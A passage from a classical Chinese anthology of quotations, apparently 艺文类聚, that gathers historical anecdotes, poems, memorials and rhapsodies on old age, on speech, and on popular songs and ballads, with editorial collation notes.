. 何 怯 也 .\n又 曰 . 武 帝 使 使 . 束 帛 加 璧 . 安 车 驷 马 . 迎 申 公 . 至 见 天 子 . 天 子 问 治 乱 事 . 申 公 时 已 年 八 十 余 矣 .\n又 曰 . 伏 生 . 秦 博 士 . 孝 文 欲 求 治 尚 书 . 天 下 无 有 . 闻 伏 生 能 治 . 欲 召 之 . 是 时 伏 生 老 不 能 行 . 诏 晁 错 往 受 之 .\n韩 诗 外 传 曰 . 齐 桓 公 见 亩 丘 人 曰 . 叟 年 几 何 . 对 曰 . 臣 年 八 十 三 矣 . 公 曰 . 美 哉 寿 也 .\n又 曰 . 楚 丘 先 生 . 被 蓑 带 索 . 见 孟 尝 君 . 孟 尝 君 曰 . 先 生 老 矣 . 春 秋 高 矣 . 多 遗 忘 矣 . 何 以 教 文 . 先 生 曰 . 恶 将 我 使 而 老 哉 . 使 我 投 石 拔 距 乎 . 追 车 赴 马 乎 . 吾 则 将 死 . 何 暇 老 哉 . 将 使 我 深 计 而 远 谋 乎 . 设 精 神 而 决 嫌 疑 . 吾 乃 始 壮 矣 . 何 老 之 有 .\n说 苑 曰 . 楚 文 王 伐 郑 . 使 王 子 革 子 露 车 . 二 子 出 游 . 老 人 载 畚 从 乞 焉 . 不 与 . 搏 而 夺 之 畚 .\n汉 书 曰 . 冯 唐 以 老 为 郎 . 文 帝 辇 过 . 问 曰 . 父 老 何 自 为 郎 .\n又 曰 . 张 苍 口 中 无 齿 . 饮 乳 . 妻 妾 以 百 数 . 曾 孕 者 不 复 幸 . 年 百 余 岁 乃 卒 .\n又 曰 . 张 安 世 荐 苏 武 明 习 故 事 . 奉 使 不 辱 . 宣 帝 以 武 着 节 老 臣 . 令 朝 朔 望 . 号 称 祭 酒 .\n东 观 汉 记 曰 . 马 援 年 六 十 二 . 请 击 五 溪 蛮 . 帝 愍 其 老 . 未 许 . 援 曰 . 臣 尚 能 被 甲 上 马 . 帝 令 试 之 . 援 据 鞍 顾 盻 . 以 示 可 用 . 帝 笑 曰 . 矍 铄 哉 是 翁 . 遂 遣 援 . 事 具 武 部 将 帅 篇 .\n续 汉 书 曰 . 民 年 七 十 者 . 授 之 以 玉 杖 . 哺 之 以 糜 粥 . 玉 杖 长 九 尺 . 端 鸠 饰 . 鸠 . 不 噎 之 鸟 也 . 欲 老 人 不 噎 也 .\n又 曰 . 仲 秋 祠 老 人 星 于 国 南 郊 .\n神 仙 传 曰 . 淮 南 王 安 好 道 术 . 八 公 诣 门 . 门 者 见 垂 白 . 不 进 . 八 公 皆 化 成 童 子 . 色 如 桃 花 . 门 吏 白 王 . 王 迎 之 . 登 思 仙 之 台 . 八 公 还 成 老 人 . 授 之 要 道 .\n世 说 曰 . 顾 悦 与 简 文 同 年 而 早 白 . 简 文 问 曰 . 卿 何 以 先 老 . 答 曰 . 蒲 柳 之 姿 . 望 秋 而 落 . 松 柏 之 姿 . 隆 冬 转 茂 .\n濑 乡 记 曰 . 老 聃 计 其 年 纪 . 时 已 一 百 余 . 聃 无 老 耄 之 貌 也 .\n述 异 记 曰 . 尹 雄 年 九 十 . 左 鬓 生 角 . 长 寸 半 .\n【 诗 】 魏 应 璩 诗 曰 . 古 有 行 道 人 . 陌 上 见 三 叟 . 年 各 百 余 岁 . 相 与 锄 禾 莠 . 住 车 问 三 叟 . 何 以 得 此 寿 .\n又 新 诗 曰 . 少 壮 面 目 泽 . 长 老 颜 色 粗 . 粗 丑 人 所 恶 . 拔 白 自 洗 苏 .\n魏 阮 瑀 诗 曰 . 白 发 随 栉 坠 . 未 寒 思 厚 衣 . 四 支 易 懈 倦 . 行 步 益 疏 迟 . 常 恐 时 岁 尽 . 魂 魄 忽 高 飞 . 自 知 百 年 后 . 堂 上 生 旅 葵 . 晋 张 载 诗 曰 . 气 力 渐 衰 损 . 鬓 发 终 以 皓 . 昔 为 春 月 华 . 今 为 秋 日 草 .\n晋 陆 机 诗 曰 . 软 颜 收 红 橤 . 玄 鬓 吐 素 华 . 冉 冉 逝 将 老 . 咄 咄 奈 老 何 .\n梁 范 泰 诗 曰 . 在 生 竟 何 豫 . 未 云 倏 已 老 . 华 发 飘 悴 容 . 苦 虑 栖 怀 抱 . 畴 昔 少 年 时 . 皆 以 归 大 造 .\n梁 简 文 帝 诗 曰 . 昔 类 红 莲 草 . 自 玩 ○ 原 讹 阮 . 据 冯 校 本 改 . 渌 池 边 . 今 如 白 华 树 . 还 悲 明 镜 前 .\n梁 孔 焘 老 诗 曰 . 盛 年 歌 吹 日 . 顾 步 惜 容 仪 . 一 朝 衰 朽 至 . 星 星 白 发 垂 .\n【 表 】 梁 沈 约 致 仕 表 曰 . 徒 以 桑 榆 无 几 . 时 制 行 及 . 不 朝 之 礼 . 忽 在 今 辰 . 使 反 身 敝 庐 . 待 终 穷 巷 . 臣 又 闻 之 . 悬 车 散 发 . 其 来 旧 矣 . 昔 广 德 请 骸 . 义 在 量 力 . 二 疏 知 止 . 惧 贻 后 悔 . 数 年 以 来 . 稍 就 尽 竭 . 气 力 衰 耗 . 不 自 支 持 . 若 蒙 天 地 大 恩 . 造 物 洪 施 . 拯 其 隆 满 之 切 . 救 其 害 盈 之 灾 . 譬 彼 日 昃 . 假 荣 终 朝 . 踟 蹰 夕 景 . 少 观 盛 化 . 宅 壤 归 泉 . 自 无 云 几 . 祈 仁 仰 泽 . 事 止 寸 阴 .\n梁 王 僧 孺 为 韦 雍 州 致 仕 表 曰 . 一 旦 攀 附 . 遂 无 涯 限 . 排 云 矫 汉 . 飞 □ 待 翼 . 陆 离 蝉 组 . 照 灼 潘 旗 . 受 脤 推 毂 . 执 珪 奉 酎 . 变 狭 室 于 高 门 . 改 小 冠 于 侯 服 . 况 复 还 周 纽 其 六 印 . 归 齐 列 其 五 鼎 . 常 惧 轮 轻 载 积 . 基 薄 墉 高 . 器 覆 危 倾 . 人 指 鬼 瞰 . 老 与 年 并 . 疾 随 衰 及 . 涂 遥 齿 截 . 漏 迫 钟 鸣 . 高 舂 之 景 一 斜 . 不 周 之 风 忽 至 . 菌 蟪 夕 阴 . 倏 驶 无 几 . 堇 蕣 朝 采 . 飘 零 已 及 . 仰 朱 阙 而 掩 涕 . 向 濛 谷 而 自 悲 . 岂 复 式 瞻 拱 默 . 仰 接 钟 鼓 . 傥 帷 盖 未 亲 . 东 岳 稍 驻 . 击 壤 鼓 腹 . 其 赐 犹 多 .\n周 王 裒 为 库 狄 峙 致 仕 表 曰 . 俛 音 赴 曲 . 操 终 则 外 . 倾 身 举 重 . 力 殚 斯 毙 . 何 者 . 日 暮 途 远 . 前 哲 所 以 告 归 . 漏 尽 载 驰 . 昔 贤 以 之 知 退 . 陈 徐 陵 为 王 仪 同 致 仕 表 曰 . 尺 波 归 海 . 恒 叹 不 居 . 爝 火 为 薪 . 犹 悲 假 续 . 况 复 星 回 日 薄 . 通 人 有 乞 老 之 言 . 钟 鸣 漏 尽 . 前 史 有 夜 行 之 诫 . 五 陵 鼎 族 . 家 传 轩 冕 . 四 姓 乡 侯 . 荣 由 恩 泽 . 虽 虚 名 靡 实 . 世 官 非 才 . 年 力 方 彊 . 虽 不 能 辞 退 . 今 三 元 肇 庆 . 六 吕 司 春 . 得 奉 万 寿 之 杯 . 豫 参 百 辟 之 礼 . 便 释 朝 衣 . 谨 遵 初 服 . 方 同 孔 光 之 杖 . 载 游 户 庭 . 广 德 之 车 . 方 悬 私 馆 .\n【 疏 】 后 汉 班 超 上 疏 曰 . 蛮 夷 之 俗 . 畏 壮 侮 老 . 臣 超 犬 马 齿 耄 . 常 恐 年 衰 . 奄 忽 僵 仆 . 孤 魂 弃 捐 . 自 以 寿 终 屯 部 . 诚 无 所 恨 . 但 愿 生 入 玉 门 关 . 不 敢 望 封 酒 泉 郡 .\n又 曰 . ○ 又 曰 以 下 . 明 本 无 . 冯 校 本\n云 . 此 一 段 宋 本 有 之 . 然 辞 义 实 不 属 . 语 亦 不 可 解 . 今\n按 其 文 义 . 盖 赋 名 实 . 疑 自 他 篇 窜 入 者 . 俟 考 . 其\n诚 无 征 名 实 . 赋 以 言 行 . 具 可 扬 伦 . 上 方 委 我 朝 杰 . 搜\n材 儒 门 . 若 取 火 于 燧 . 求 玉 于 昆 . 且 知 人 则 哲 . 永 矢 不\n谖 . 询 乎 誉 则 汝 察 乎 德 . 摭 其 实 则 明 试 以 言 . 夫 名 . 实\n之 宾 . 实 者 名 立 . 正 先 修 名 以 责 实 . 亦 征 言 而 考 行 . 假\n使 贤 愚 纷 纠 . 是 非 交 竞 . 用 舍 不 杂 于 薰 莸 . 妍 蚩 岂 逃 乎\n龟 鉴 . 若 畴 离 祉 . 驯 致 其 令 . 则 傅 说 感 于 殷 聪 . 欢 兜 迷\n于 尧 圣 . 原 夫 未 分 陶 璧 . 尚 混 齐 竽 . 议 沓 人 口 . 声 喧 路\n隅 . 乍 好 丹 以 非 素 . 罕 恶 紫 之 夺 朱 . 争 笐 容 于 磻 木 . 指\n彻 瑕 于 瑾 瑜 . 及 夫 举 直 措 枉 . 削 繁 省 芜 . 转 衡 用 心 . 既\n不 畏 于 狂 洁 . 取 贤 □ 厦 . 求 智 又 侔 于 炙 輠 . 信 垂 拱 而 仰\n成 . 亦 奚 为 而 不 可 . 懿 其 恭 树 桃 李 . 假 翼 鹓 鸾 . 仰 春 夏\n而 延 阴 . 面 挟 而 遂 转 . 然 后 实 无 所 蔽 其 迹 . 名 无 所 匿 其\n端 . 是 二 物 也 . 坦 然 可 观 .\n人 部 三 言\n语 讴 谣 吟 啸 笑\n说 文 曰 . 直 言 曰 言 . 论 议 曰 语 .\n易 曰 . 君 子 出 其 言 善 . 则 千 里 之 外 应 之 . 出 其 言 不 善 . 则 千 里 之 外 违 之 .\n又 曰 . 言 行 君 子 之 枢 机 .\n毛 诗 曰 . 哿 矣 能 言 . 巧 言 如 流 .\n又 曰 . 无 易 由 言 .\n又 曰 . 斯 言 之 玷 . 不 可 为 也 .\n又 曰 . 于 时 言 言 . 于 时 语 语 .\n左 传 曰 . 晋 叔 向 适 郑 . 鬷 篾 恶 . 从 收 器 者 立 于 堂 下 . 一 言 而 善 . 叔 向 闻 之 曰 . 必 鬷 明 也 .\n又 曰 . 郑 子 大 叔 卒 . 赵 简 子 为 之 临 . 甚 哀 . 曰 . 黄 父 之 会 . 夫 子 语 我 九 言 . 曰 . 无 始 乱 . 无 怙 富 . 无 恃 宠 . 无 违 同 . 无 傲 礼 . 无 骄 能 . 无 复 怒 . 无 谋 非 德 . 无 犯 非 义 .\n礼 记 曰 . 事 君 . 大 言 入 则 望 大 利 . 小 言 入 则 望 小 利 . 故 君 子 不 以 小 言 受 大 禄 . 不 以 大 言 受 小 禄 .\n又 曰 . 王 言 如 丝 . 其 出 如 纶 . 王 言 如 纶 . 其 出 如 綍 .\n又 曰 . 言 不 危 行 . 行 不 危 言 .\n又 曰 . 五 方 之 人 . 言 语 不 通 .\n大 戴 礼 曰 . 黄 帝 弱 而 能 言 . 事 具 帝 王 部 .\n孝 经 曰 . 言 满 天 下 无 口 过 . 行 满 天 下 无 怨 恶 .\n论 语 曰 . 定 公 问 . 一 言 可 以 兴 邦 . 有 诸 . 子 曰 . 言 不 可 以 若 是 其 几 也 . 一 言 可 以 丧 邦 . 有 诸 . 子 曰 . 言 不 可 以 若 是 其 几 也 .\n又 曰 . 君 子 欲 讷 于 言 而 敏 于 行 .\n又 曰 . 法 语 之 言 . 能 无 从 乎 . 绎 之 为 贵 .\n邓 析 书 曰 . 一 言 而 非 . 驷 马 不 能 追 . 一 言 不 急 . 驷 马 不 能 及 . 故 恶 言 不 出 口 . 苛 声 不 入 耳 .\n尸 子 曰 . 言 美 则 响 美 . 言 恶 则 响 恶 .\n申 子 曰 . 一 言 正 . 天 下 定 . 一 言 倚 . 天 下 靡 .\n庄 子 曰 . 言 者 所 以 在 意 . 得 意 而 忘 言 . 吾 安 得 忘 言 之 人 . 与 之 言 哉 .\n又 曰 . 凡 交 近 则 必 相 靡 以 信 . 远 则 必 忠 之 以 言 .\n鹖 冠 子 曰 . 赵 武 灵 王 问 庞 暖 曰 . 寡 人 闻 飞 语 流 传 曰 . 战 百 胜 . 非 善 之 善 者 也 .\n淮 南 子 曰 . 得 万 人 之 兵 . 不 若 闻 一 言 之 当 .\n汉 书 曰 . 汉 王 与 项 羽 临 广 武 闲 而 语 .\n又 曰 . 太 尉 周 勃 迎 代 王 . 请 闲 . 宋 昌 曰 . 所 言 公 . 公 之 . 所 言 私 . 王 者 无 私 .\n又 曰 . 韩 信 当 斩 . 视 滕 公 曰 . 不 欲 就 天 下 乎 . 而 斩 壮 士 . 滕 公 奇 其 言 . 壮 其 貌 . 弗 斩 . 与 语 大 悦 之 .\n孙 卿 子 曰 . 赠 人 以 言 . 重 于 珠 玉 . 伤 人 以 言 . 甚 于 剑 戟 .\n吴 志 曰 . 张 尚 . 孙 皓 时 为 侍 郎 . 以 言 语 辩 捷 见 知 . 括 地 图 曰 . 太 极 山 采 华 之 草 . 服 之 通 万 里 之 语 .\n卫 玠 别 传 曰 . 太 尉 王 君 . 见 阮 千 里 而 问 曰 . 老 庄 与 圣 教 异 . ○ 太 平 御 览 三 百 九 十 异 上 有 同 字 . 阮 曰 . 将 无 同 . 太 尉 善 其 言 . 辟 之 为 掾 . 世 号 阮 瞻 三 语 掾 . 王 君 见 而 嘲 之 曰 . 一 言 可 以 辟 . 何 假 于 三 . 阮 曰 . 苟 是 天 下 民 望 . 亦 可 无 言 而 辟 . 复 何 假 于 一 .\n神 仙 传 曰 . 老 子 生 而 能 言 .\n【 诗 】 梁 昭 明 太 子 大 言 诗 曰 . 观 修 鲲 其 若 ● 鲋 . 视 沧 海 之 如 滥 觞 . 经 二 仪 而 跼 蹐 . 跨 六 合 以 翱 翔 .\n又 细 言 诗 曰 . 坐 卧 邻 空 尘 . 凭 附 蟭 螟 翼 . 越 咫 尺 而 三 秋 . 度 毫 厘 而 九 息 .\n梁 殷 钧 大 言 应 令 诗 曰 . 噫 气 为 风 . 挥 汗 成 雨 . 聊 灼 戴 山 龟 . 欲 持 探 遂 古 .\n又 细 言 应 令 诗 曰 . 泛 舟 毛 滴 海 . 为 政 蜗 牛 国 . 逍 遥 轻 尘 上 . 指 辰 问 南 北 .\n梁 王 规 大 言 应 令 诗 曰 . 俯 身 望 日 入 . 下 视 见 星 罗 . 嘘 八 风 而 为 气 . 吹 四 海 而 扬 波 .\n又 细 言 应 令 诗 曰 . 针 锋 于 焉 止 息 . 发 杪 可 以 翱 翔 . 蚊 眉 深 而 易 阻 . 蚁 目 旷 而 难 航 .\n梁 王 锡 大 言 应 令 诗 曰 . 欲 游 五 岳 . 迫 不 得 申 . 杖 千 里 之 木 . 鲙 横 海 之 鳞 .\n又 细 言 应 令 诗 曰 . 冥 冥 蔼 蔼 . 离 朱 不 辩 其 实 . 步 蜗 角 而 三 伏 . 经 针 孔 而 千 日 .\n梁 张 缵 大 言 应 令 诗 曰 . 河 流 既 渴 . 日 月 俱 腾 . 罝 罗 微 物 . 动 落 云 鹏 .\n又 细 言 应 令 诗 曰 . 遨 游 蚁 目 辩 轻 尘 . 蚊 睫 成 宇 虱 如 轮 .\n梁 沈 约 大 言 应 令 诗 曰 . 隘 此 大 泛 庭 . 方 知 九 陔 局 . 穷 天 岂 弥 指 . 尽 地 不 容 足 .\n又 细 言 应 令 诗 曰 . 开 馆 尺 捶 余 . 筑 榭 微 尘 裹 . 蜗 角 列 州 县 . 毫 端 建 朝 市 .\n【 赋 】 楚 宋 玉 大 言 赋 曰 . 楚 襄 王 与 唐 勒 景 差 宋 玉 . 游 于 阳 云 之 台 . 王 曰 . 能 为 寡 人 大 言 者 上 座 . 王 因 称 曰 . 操 是 太 阿 戮 一 世 . 流 血 冲 天 . 车 不 可 以 厉 . 至 唐 勒 曰 . 壮 士 难 兮 绝 天 维 . 北 斗 戾 兮 太 山 夷 . 至 宋 玉 曰 . 方 地 为 车 . 圆 天 为 盖 . 长 剑 耿 介 倚 天 外 . 王 曰 . 未 可 也 . 玉 曰 . 并 吞 四 夷 . 饮 枯 河 海 . 跂 越 九 州 . 无 所 容 止 . 又 小 言 赋 曰 . 楚 襄 王 既 登 阳 云 之 观 . 命 诸 大 夫 景 差 唐 勒 宋 玉 等 . 并 进 大 言 赋 . 赋 卒 而 宋 玉 受 赏 . 又 曰 . 有 能 为 小 言 赋 者 . 赐 之 云 梦 之 田 . 景 差 曰 . 戴 氛 埃 兮 垂 尘 . 体 轻 蚊 翼 . 形 微 蚤 鳞 . 经 由 针 孔 . 出 入 罗 巾 . 唐 勒 曰 . 折 飞 糠 以 为 舆 . 剖 糟 以 为 舟 . 凭 眦 以 顾 盼 . 附 蠛 蠓 而 遐 游 . 又 曰 . 馆 于 蝇 须 . 宴 于 毫 端 . 亨 虱 脑 . 切 虮 肝 . 会 九 族 而 同 哜 . 犹 委 余 而 不 殚 . 宋 玉 曰 . 无 内 之 中 . 微 物 潜 生 . 比 之 无 象 . 言 之 无 名 . 蒙 蒙 景 灭 . 昧 昧 遗 形 . 纤 于 毳 末 之 微 篾 . 陋 于 茸 毛 之 方 生 . 视 之 则 眇 眇 . 望 之 则 冥 冥 . 离 朱 为 之 叹 闷 . 神 明 不 能 察 其 情 . 二 子 之 言 . 磊 磊 皆 不 小 . 何 如 此 之 为 精 . 王 曰 善 . 赐 云 梦 之 田 .\n晋 傅 咸 小 语 赋 曰 . 楚 襄 王 登 阳 云 之 台 . 景 差 唐 勒 宋 玉 侍 . 王 曰 . 能 为 小 语 者 处 上 位 . 景 差 曰 . 幺 蔑 之 子 . 形 难 为 象 . 晨 登 蚁 埃 . 薄 暮 不 上 . 朝 炊 半 粒 . 昼 复 得 酿 . 亨 一 小 虱 . 饱 于 乡 党 . 唐 勒 曰 . 攀 蚊 髯 . 附 蚋 翼 . 我 自 谓 重 彼 不 极 . 邂 逅 有 急 相 切 逼 . 窜 于 针 孔 以 自 匿 . 宋 玉 曰 . 折 薜 足 以 为 擢 . 舫 粒 糠 而 为 舟 . 将 远 游 以 遐 览 . 越 蝉 溺 以 横 浮 . 若 涉 海 之 无 涯 . 惧 湮 没 于 洪 流 . 弥 数 旬 而 汔 济 . 陟 虮 蚁 之 崇 丘 . 未 升 半 而 九 息 . 何 时 达 乎 杪 头 .\n魏 陈 暄 应 诏 语 赋 曰 . 覈 生 民 之 要 技 . 实 言 语 以 为 前 . 枢 机 诚 为 急 务 . 笔 札 乃 是 次 焉 . 拟 金 人 于 右 阶 . 称 石 人 于 左 边 . 郑 侨 戎 服 而 无 媿 . 张 仪 舌 存 而 理 痊 . 唯 诺 唯 辩 . 何 者 是 与 . 故 知 于 时 言 言 . 于 时 语 语 . 若 乃 辽 城 险 峻 . 齐 阵 交 加 . 燕 将 恐 惧 . 汉 帝 咄 嗟 . 鲁 连 才 吐 数 句 . 郦 子 直 御 单 车 . 息 十 重 之 萦 带 . 贤 百 万 之 喧 哗 . 至 于 兰 台 静 秘 . 华 烛 高 明 . 徐 斟 桂 醑 . 缓 奏 秦 声 . 二 三 朋 好 . 数 四 才 英 . 既 说 前 言 之 往 行 . 重 睹 生 死 之 交 情 . 扼 腕 抵 掌 . 攘 袂 盱 衡 . 当 斯 时 也 . 何 者 为 荣 . 欲 同 吃 如 邓 士 载 . 欲 作 辩 似 娄 君 卿 . 为 守 为 相 并 如 此 . 少 意 少 事 不 成 名 .\n【 赞 】 魏 王 粲 反 金 人 赞 曰 . 君 子 亮 直 . 不 柔 辟 . 友 贱 不 耻 . 诲 焉 是 益 . 我 能 发 踪 . 彼 用 远 迹 . 一 言 之 赐 . 过 乎 玙 璧 . 末 世 不 敦 . 义 与 兹 易 . 而 言 匪 忠 . 退 有 其 .\n【 箴 】 晋 苏 彦 语 箴 曰 . 孔 子 曰 . 余 欲 无 言 . 又 曰 . 天 何 言 哉 . 赫 胥 之 世 . 大 庭 之 治 . 玄 风 陶 鼓 . 率 直 放 志 . 熙 熙 群 动 . 无 欲 无 事 . 逮 于 三 季 . 奔 竞 兹 彰 . 雷 动 风 骇 . 飞 辩 云 翔 . 战 国 纷 扰 . 争 霸 称 彊 . 尔 乃 游 说 纵 横 . 骋 技 时 王 . 衔 刃 怀 毒 . 吐 膏 示 芳 . 利 动 春 露 . 害 重 冬 霜 . 四 纪 若 驰 . 七 都 翦 亡 . 爰 兹 末 俗 . 扇 风 簸 飏 . 先 意 承 旨 . 原 情 察 乡 . 摈 尔 笾 豆 . 和 乐 且 康 .\n【 铭 】 周 太 庙 金 人 铭 曰 . 孔 子 观 周 . 入 后 稷 庙 . 庙 堂 右 阶 之 前 . 有 金 人 焉 . 三 缄 其 口 . 而 铭 其 背 曰 . 我 古 之 慎 言 人 也 . 戒 之 哉 . 戒 之 哉 . 无 多 言 . 无 多 事 . 多 言 多 败 . 多 事 多 患 . 安 乐 必 戒 . 无 行 所 悔 . 勿 谓 何 伤 . 其 祸 将 长 . 勿 谓 何 害 . 其 祸 将 大 . 勿 谓 不 闻 . 神 将 伺 人 . 焰 焰 弗 灭 . 炎 炎 若 何 . 涓 涓 不 壅 . 终 为 江 河 . 绵 绵 不 绝 . 或 成 网 罗 . 毫 末 不 札 . 将 寻 斧 柯 .\n晋 孙 楚 反 金 人 铭 曰 . 晋 太 庙 有 石 人 焉 . 大 张 其 口 . 而 书 其 胸 曰 . 我 古 之 多 言 人 也 . 无 少 言 . 无 少 事 . 少 言 少 事 . 则 后 生 何 述 焉 . 夫 唯 立 言 . 名 乃 长 久 . 胡 为 块 然 . 生 钳 其 口 . 凡 夫 贪 财 . 烈 士 殉 名 . 盗 跖 为 浊 . 夷 柳 为 清 . 鲍 肆 为 臭 . 兰 圃 为 馨 . 莫 贵 澄 清 . 莫 贱 滓 秽 . 二 者 言 异 . 归 于 一 会 . 尧 悬 谏 鼓 . 舜 立 谤 木 . 听 采 风 谣 . 惟 日 不 足 . 道 润 群 生 . 化 隆 比 屋 . 末 叶 陵 迟 . 礼 教 弥 衰 . 承 旨 则 顺 . 忤 意 则 违 . 时 好 细 腰 . 宫 中 皆 饥 . 时 悦 广 额 . 下 作 细 眉 . 逆 龙 之 鳞 . 必 陷 斯 机 . 括 囊 无 咎 . 乃 免 诛 夷 . 颠 覆 厥 德 . 可 为 伤 悲 . 斯 可 用 戒 . 无 妄 之 时 . 假 说 周 庙 . 于 言 为 蚩 . 是 以 君 子 . 追 而 正 之 .\n【 论 】 晋 欧 阳 建 言 尽 意 论 曰 . 有 雷 同 君 子 . 问 于 违 众\n先 生 曰 . 世 之 论 者 . 以 为 言 不 尽 意 . 由 来 尚 矣 . 至 乎 通\n才 达 识 . 咸 以 为 然 . 若 夫 蒋 公 之 论 眸 子 . 钟 傅 之 言 才 性\n. 莫 不 引 此 为 谈 证 . 而 先 生 以 为 不 然 . 何 哉 . 先 生 曰 .\n夫 天 不 言 . 而 四 时 行 焉 . 圣 人 不 言 . 而 鉴 识 存 焉 . 形 不\n待 名 . 而 方 圆 已 着 . 色 不 俟 称 . 而 黑 白 以 彰 . 然 则 名 之\n于 物 无 施 者 也 . 言 之 于 理 无 为 者 也 . 而 古 今 务 于 正 名 .\n圣 贤 不 能 去 言 . 其 故 何 也 . 诚 以 理 得 于 心 . 非 言 不 畅 .\n物 定 于 彼 . 非 言 不 辩 . 言 不 畅 志 . 则 无 以 相 接 . 名 不 辩\n物 . 则 鉴 识 不 显 . 鉴 识 显 而 名 品 殊 . 言 称 接 而 情 志 畅 .\n原 其 所 以 . 本 其 所 由 . 非 物 有 自 然 之 名 . 理 有 必 定 之 称\n也 . 欲 辩 其 实 . 则 殊 其 名 . 欲 宣 其 志 . 则 立 其 称 . 名 逐\n物 而 迁 . 言 因 理 而 变 . 此 犹 声 发 响 应 . 形 存 影 附 . 不 得\n相 与 为 二 . 苟 其 不 二 . 则 无 不 尽 . 吾 故 以 为 尽 矣 .\n毛 诗 曰 . 心 之 忧 矣 . 我 歌 且 谣 .\n左 传 曰 . 宋 城 . 华 元 为 植 . 巡 功 . 城 者 讴 曰 . 睅 其 目 . 皤 其 腹 . 弃 甲 而 复 . 于 思 于 思 . 弃 甲 复 来 .\n家 语 曰 . 孔 子 相 鲁 . 齐 人 归 女 乐 . 鲁 君 淫 荒 . 孔 子 遂 行 . 师 乙 ○ 太 平 御 览 四 百 六 十 五 作 已 . 送 孔 子 曰 . 吾 欲 歌 . 可 乎 . 歌 曰 . 彼 妇 人 之 口 . 可 以 出 走 . 彼 妇 人 之 谒 可 以 死 败 . 优 哉 游 哉 . 聊 以 卒 岁 .\n列 子 曰 . 尧 微 服 游 康 衢 . 童 儿 谣 曰 . 立 我 蒸 民 . 莫 匪 尔 极 . 不 识 不 知 . 顺 帝 之 则 . 事 具 杂 文 部 诗 篇 .\n韩 子 曰 . 齐 桓 公 饮 酒 醉 . 遗 其 冠 . 耻 之 . 管 仲 曰 . 公 不 雪 之 以 政 . 公 曰 . 善 . 因 发 仓 . 赐 贫 穷 . 三 日 而 民 歌 之 曰 . 公 胡 不 复 遗 其 冠 乎 .\n吕 氏 春 秋 曰 . 魏 襄 王 使 史 起 为 邺 令 . 引 漳 水 灌 田 . 民 大 得 利 . 相 与 歌 曰 . 邺 有 圣 令 为 史 公 . 决 漳 水 . 灌 邺 旁 . 终 古 斥 卤 生 稻 粱 .\n史 记 曰 . 曹 参 为 汉 相 国 . 百 姓 歌 之 曰 . 萧 何 为 法 . 讲 若 画 一 . 曹 参 代 之 . 守 而 勿 失 . 载 其 清 静 . 民 以 宁 一 .\n又 曰 . 卫 子 夫 为 皇 后 . 弟 青 贵 震 天 下 . 天 下 歌 之 曰 . 生 男 无 喜 . 生 女 无 怒 . 独 不 见 卫 子 夫 霸 天 下 .\n汉 书 曰 . 赵 中 大 夫 白 公 奏 川 渠 引 泾 水 . 民 得 其 饶 . 歌 之 曰 . 田 于 何 所 . 池 阳 谷 口 . 郑 国 在 前 . 白 渠 起 后 . 举 锸 为 云 . 决 渠 为 雨 . 泾 水 一 石 . 其 泥 数 斗 . 事 具 产 业 部 田 篇 .\n又 曰 . 冯 立 为 西 河 上 郡 . 在 职 公 廉 . 与 野 王 相 代 . 治 行 相 似 而 多 恩 . 吏 民 乃 歌 曰 . 大 冯 君 . 小 冯 君 . 兄 弟 继 踵 相 因 循 . 聪 明 圣 智 惠 吏 民 . 政 如 鲁 卫 德 化 均 . 周 公 康 叔 犹 二 君 .\n东 观 汉 记 曰 . 张 湛 为 渔 阳 太 守 . 开 田 八 千 余 顷 . 劝 民 耕 种 . 以 致 殷 富 . 百 姓 歌 曰 . 桑 无 附 枝 . 麦 秀 两 歧 . 张 君 为 政 . 乐 不 可 欺 . 事 具 职 官 部 刺 史 篇 .\n又 曰 . 廉 范 . 字 叔 度 . 为 蜀 郡 太 守 . 旧 制 禁 民 夜 作 . 以 防 火 . 范 乃 毁 削 先 令 . 但 严 储 水 而 已 . 百 姓 歌 之 曰 . 廉 叔 度 . 来 何 暮 . 不 禁 火 . 民 安 堵 . 昔 无 一 襦 . 今 有 五 葱 . 事 具 职 官 部 刺 史 篇 .\n新 序 曰 . 延 陵 季 子 . 以 剑 带 徐 君 墓 树 . 徐 人 歌 之 曰 . 延 陵 季 子 兮 . 不 忘 旧 故 . 脱 千 金 之 剑 . 以 带 丘 墓 . 事 具 怀 旧 篇 .\n谢 承 后 汉 书 曰 . 岑 胵 迁 魏 郡 大 守 . 人 歌 之 曰 . 我 有 枳 棘 . 岑 君 伐 之 . 我 有 蟊 贼 . 岑 君 遏 之 . 狗 犬 不 惊 . 足 下 生 . 含 哺 鼓 腹 . 焉 知 凶 灾 . 我 嘉 我 生 . 独 丁 斯 时 . 美 哉 岑 君 . 于 戏 在 兹 .\n又 曰 . 皇 甫 嵩 . 请 冀 州 一 年 田 租 . 以 赡 饥 民 . 百 姓 歌 曰 . 天 下 乱 兮 市 为 墟 . 母 不 保 子 妻 失 夫 . 赖 得 皇 甫 复 汝 居 . 事 具 职 官 部 刺 史 篇 .\n又 曰 . 刘 騊 駼 除 摐 阳 长 . 以 病 免 . 吏 民 思 而 歌 之 曰 . 悒 然 不 乐 . 思 我 刘 君 . 何 时 复 来 . 安 此 下 民 . 事 具 职 官 部 县 令 篇 .\n又 曰 . 郭 贺 . 字 乔 卿 . 为 荆 州 刺 史 . 到 官 有 殊 政 . 百 姓 歌 曰 . 厥 德 仁 明 郭 乔 卿 . 忠 正 朝 廷 上 下 平 . 事 具 职 官 部 刺 史 篇 .\n续 汉 书 曰 . 张 霸 为 会 稽 郡 . 越 贼 归 附 . 童 谣 曰 . 弃 我 戟 . 捐 我 矛 . 盗 贼 尽 . 吏 皆 休 .\n又 曰 . 李 燮 拜 京 兆 . 诏 发 西 园 钱 . 君 上 封 事 . 遂 上 ○ 太 平 御 览 四 百 六 十 五 作 止 . 不 发 . 吏 民 爱 敬 . 乃 谣 曰 . 我 府 君 . 道 教 举 . 恩 如 春 . 威 如 虎 . 刚 不 吐 . 弱 不 茹 . 爱 如 母 . 训 如 父 .\n吴 志 曰 . 周 瑜 少 精 意 于 音 乐 . 三 爵 之 后 . 其 有 阙 误 . 瑜 必 知 之 . 知 之 必 顾 . 时 人 谣 曰 . 曲 复 误 . 周 郎 顾 .\n吴 录 曰 . 王 谭 . 字 世 容 . 为 成 武 令 . 民 服 德 化 . 宿 恶 奔 迸 . 父 老 歌 曰 . 王 世 容 . 治 无 双 . 省 徭 役 . 盗 贼 空 .\n王 隐 晋 书 曰 . 王 祥 为 本 州 别 驾 . 时 人 歌 曰 . 海 沂 之 康 . 实 赖 王 祥 . 邦 国 不 空 . 别 驾 之 功 .\n又 曰 . 裴 秀 年 十 岁 余 . 时 人 谣 曰 . 后 进 领 袖 有 裴 秀 .\n又 曰 . 诸 